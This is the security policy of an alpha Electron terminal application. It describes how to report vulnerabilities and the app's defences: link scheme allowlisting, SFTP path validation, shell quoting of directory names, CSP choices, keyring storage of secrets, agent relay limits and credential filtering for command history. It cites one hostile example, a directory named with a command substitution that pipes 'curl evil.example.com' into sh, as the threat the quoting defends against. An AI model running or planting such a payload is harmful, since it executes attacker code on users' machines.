ZeroG Terminal is currently an alpha project. Security fixes are applied to the main branch and to the latest published release, when releases exist.
Please do not open a public issue for an exploitable vulnerability.
Use GitHub's private vulnerability reporting or security advisory feature for the HappyMonkeyAI/ZeroGTerm repository. Include:
- A clear description of the vulnerability and its impact.
- A minimal reproduction or proof of concept that does not expose real credentials.
- Affected versions or commits.
- Any suggested mitigation.
If private vulnerability reporting is unavailable, contact the repository maintainers through their GitHub account before disclosing the issue publicly.
Please allow maintainers reasonable time to investigate and prepare a fix. Do not include API keys, passwords, private SSH material, or sensitive user data in reports.
ZeroG Terminal is a local desktop application. Terminal output, SSH targets, generated commands, and workspace data should be treated as sensitive. The application is designed to:
- Keep Node integration disabled in the renderer.
- Keep context isolation and sandboxing enabled.
- Expose only a narrow preload API.
- Validate session names and SSH targets.
- Use argument arrays instead of shell interpolation.
- Require explicit approval before running AI-suggested commands, unless the operator turns that off in Settings.
- Refuse OSC 52 clipboard read requests, so a program in a terminal — including one on a remote host over SSH — cannot exfiltrate the clipboard. Clipboard writes from a terminal are honoured.
A link clicked in a pane is opened in the user's own browser, never in a window
of this application. Electron's default answer to window.open is a new
BrowserWindow, which is both the wrong browser and a page rendered inside the
app; the main process refuses that and hands the URL to the desktop instead.
Which URLs are handed over is an allowlist — http, https, and mailto:
- A link arrives in terminal output, which is untrusted, and OSC 8 hyperlinks let a remote host display one thing while linking to another.
- The operating system will do much more with a URL than open a web page.
file:reaches the local disk,smb:reaches a network share and leaks credentials to it, and installed applications register their own schemes, some of which accept a path or a command. A single click must not be able to start local software. - The scheme is decided by parsing the URL rather than by matching its text, and the parsed form is what reaches the shell. A refused link reports itself in the status bar rather than failing silently.
Because the target of an OSC 8 link need not resemble its label, hovering a link shows the real destination in the status bar before it is clicked.
The SFTP transfer panel widens the preload API to the local filesystem, which is the narrowest part of the application worth stating plainly:
- The renderer can enumerate directories and can create, rename, or delete a path
the user pointed at. It cannot read file contents: transfers are performed by
the
sftpclient in the main process, and file data never passes through the renderer. - Paths crossing the IPC boundary are re-derived in the main process rather than trusted. A relative path or one containing NUL is refused, and the home directory itself cannot be deleted.
- Deletion uses
rmdirfor directories, so a non-empty directory fails rather than being removed recursively. - Remote paths containing quotes, backslashes, or glob metacharacters are refused.
The
sftpclient unescapes its arguments and then expands globs in them, and no encoding of those characters is correct for every command — so a name that cannot be passed unambiguously is not passed at all. - Authentication is delegated entirely to the system
sftpclient, which means~/.ssh/config, the agent, andknown_hostsverification all apply. ZeroG never answers a host-key prompt itself: the question, including the key fingerprint, is put to the user. Passwords and passphrases are written to the client and are not stored, logged, or returned to the renderer.
Opening the browser in an SSH pane opens an SFTP connection to that pane's host
if one is not already open — the browser is a second consumer of the transfer
connections described above, and everything stated there applies unchanged:
authentication is delegated to the system sftp client, so ~/.ssh/config, the
agent and known_hosts verification all apply, and ZeroG never answers a
host-key or password prompt itself.
Two consequences worth stating plainly:
- The browser can start an outbound connection to a host the user has a terminal open to. It is never automatic: a browser opens because the folder button was clicked, and it is remembered per pane, so reopening a workspace whose pane had one open will reconnect to that host.
- A pending question is shown in the browser and answered only in the transfer panel, which is the surface with the fingerprint next to it. The browser has no answer field, so there is no second place a passphrase can be typed.
Double-clicking a folder in a pane's directory browser makes ZeroG type a command
into that pane. Everywhere else in this application a path is passed as an
element of an argument vector, where quoting cannot matter; here the path becomes
part of a shell line, and the directory names come from the far side of an SSH
connection or from a filesystem someone else may be able to write to. A directory
named $(curl evil.example.com | sh) is a plausible thing to find in a listing.
So the quoting is the whole defence, it lives in one place
(src/renderer/pane-directory.ts), and it is exercised against a real sh in
tests/pane-directory-shell.test.ts — a test that creates directories whose
names contain commands and asserts that after cd'ing into every one of them,
none of those commands ran.
- POSIX shells: single quotes, with an embedded quote closed and reopened. No expansion of any kind survives single quotes.
- PowerShell:
Set-Location -LiteralPathwith single quotes doubled.-LiteralPathrather than-Pathbecause a directory named[1]is a wildcard toSet-Location, which would fail to find a directory that exists. - Command Prompt:
cd /dwith double quotes, and a name containing a double quote is refused —cmdhas no escape for it that is correct in general. - A name containing a carriage return or newline is refused for every shell. It would submit the line early, which is a second command by definition.
- Where the shell family cannot be determined, nothing is typed.
A WSL pane's path is translated across the \\wsl.localhost\ share boundary
before it is quoted, and a path that does not belong to that pane's own
distribution is refused rather than translated approximately.
The renderer's Content-Security-Policy limits connect-src to:
'self', for the app's own assets.- Any
http:orhttps:origin, for two things: downloading speech models from Hugging Face on first use, and the server speech engine, whose endpoint is operator-configurable and may legitimately be a machine on the LAN or a hosted service. Nothing narrower can express "the host the operator chose".
The speech server endpoint is therefore a place where recorded audio goes where
the operator says, including off this machine. What is enforced is only the shape
of the target: an http:// or https:// URL naming a host, so a file:// path
or a half-typed address becomes an error rather than a request. Where the audio
goes is the operator's decision, and the settings panel states plainly whether
the configured address is on this machine or not.
style-src allows 'unsafe-inline', which analysers flag on sight. It is there
for xterm.js: its DOM renderer creates two <style> elements at runtime — one
for the theme, one for cell dimensions — and writes their text directly, which
style-src blocks without it. xterm exposes no way to nonce those elements, so
the alternatives are 'unsafe-hashes' over their exact contents or patching
xterm. React's style props are unaffected (they go through the CSSOM, which
CSP does not govern) and the bundled stylesheet is a linked file covered by
'self', so xterm is the only reason the allowance is still needed. Removing it
would take a runtime policy from the main process rather than this static meta
tag, which would also let connect-src narrow back to the configured endpoint.
Earlier releases refused a non-loopback endpoint outright. That was relaxed
deliberately, on the grounds that a self-hosted server on the user's own network
is a normal way to run a model too large for the machine at hand. The trade is
that connect-src no longer constrains where the renderer can post, so an
injection in the renderer would not be stopped by the policy; the controls that
matter for that are the sandboxed renderer, context isolation, and the narrow
preload API described above.
A server that authenticates needs a key, and the renderer's own settings live in localStorage — a plain file. So the key is not kept there:
- The main process stores it through Electron's
safeStorage, which is DPAPI on Windows, Keychain on macOS, and libsecret or kwallet on Linux. The ciphertext goes insecrets.jsonunder the app's data directory, written 0600 and replaced atomically. - When
safeStoragereports that encryption is unavailable — a Linux box with no keyring configured — saving is refused rather than downgraded to plaintext. The panel says so and offers to hold the key in memory until the app closes, which is the user's decision to make with the facts in front of them. - A stored value that will not decrypt is treated as absent. That is what a file copied from another machine or another user account looks like, and there is nothing to do with it but ask for the key again.
- The renderer never holds the key in its own state or storage. It asks for it when a transcription request is being built and uses it for that request, so clearing the key takes effect on the next utterance.
- The key is sent as
Authorization: Bearer. Over plainhttpto a host that is not this machine it travels in the clear; that is allowed, because a self-hosted server on the LAN commonly has no certificate and refusing would break the ordinary case, but the field says plainly when it applies.
These controls are not a guarantee of security. Please report bypasses or regressions privately.
Pane link (docs/pane-link.md) is the one place ZeroG types one agent's output into
another, so it is built as a bounded, visible, user-started loop:
- ZeroG launches the agents itself with
--settings, pointing four hook events at a listener bound to127.0.0.1on an ephemeral port. Each agent has its own random 192-bit token in the URL; the settings file holds that token, is written 0600, and is deleted when the pane closes or the app quits. Unknown tokens get a 404; bodies over 2 MiB are refused; the hook response is always{}, so ZeroG observes agents and never steers them. - Only the agent's own final message (
last_assistant_message) is relayed. Terminal output is not read, so password, passphrase, OTP and host-key prompts are never forwarded. - Relayed text is untrusted input to the receiving agent. It is stripped of control characters, capped at 16,000 characters, and labelled as another agent's message. A reply is only ever typed into an idle partner; otherwise the link pauses.
- A link ends on a relay limit (default 6, maximum 50), a stall timeout, either agent exiting, or the user breaking it.
- Not covered: a prompt-injected agent can still say persuasive things to its partner. The limit and the pause-on-approval behaviour are the mitigations, not a guarantee.
The command history palette is the only part of ZeroG that stores what the user
typed. Everything else deliberately does not: session-history.json records
lifecycle events and states that it "never stores cwd, args, or credentials", and
workspaces.json and port-forwards.json hold only metadata. A command history
cannot make that promise, because the command text is the whole point — so the
question is answered here instead.
- Off until asked for. Recording is a setting, off by default. With it off,
nothing about what is typed is written anywhere and
command-history.jsondoes not exist. The palette says so rather than appearing empty. - Only what a shell volunteers. Commands come from the standard OSC 133 prompt marks. A pane whose shell emits none records nothing at all; ZeroG does not reconstruct the input line from the screen, because a history that is sometimes wrong is worse than a smaller one that is not. This is the same bargain the working-directory tracking already makes for OSC 7.
- What is kept. The command, the directory and host it ran in, its exit
status, when it last ran, how many times, and how often it was chosen from the
palette. Written to
command-history.jsonin the app's data directory, 0600, replaced atomically, capped at 5000 entries. Clearing removes the file rather than leaving an empty one. - What is refused. A command matching a credential shape is dropped whole,
never stored with the value masked: a masked entry still records that a
particular secret was set in a particular directory at a particular time, and
invites a false sense that what remains is safe. The rules cover assignments to
anything named like a token, key, secret, password, passphrase or credential;
--password/--token/--api-key-style flags andmysql -p<value>; credentials embedded in a URL;AuthorizationandX-Api-Keyheaders;curl -u user:pass;openssl -passin; vendor-shaped tokens for GitHub, GitLab, Slack, AWS, Google, npm and OpenAI-compatible keys, and JWTs; and long mixed-case high-entropy words. - The rules err towards refusing.
SSH_AUTH_SOCK=/tmp/xis not a secret and is refused anyway, because it matches the shape. Losing a harmless entry is invisible; storing a token is not. - What it does not catch, and does not claim to. A secret passed as a bare
argument to a program the rules do not know about, piped in from
echo, or read from a file whose path is the only thing on the line, looks exactly like ordinary text. Anyone treating this as a guarantee that no credential can ever reach the file would be wrong. The mitigation is that the feature is off by default, the file is local and owner-only, and it can be cleared in one click.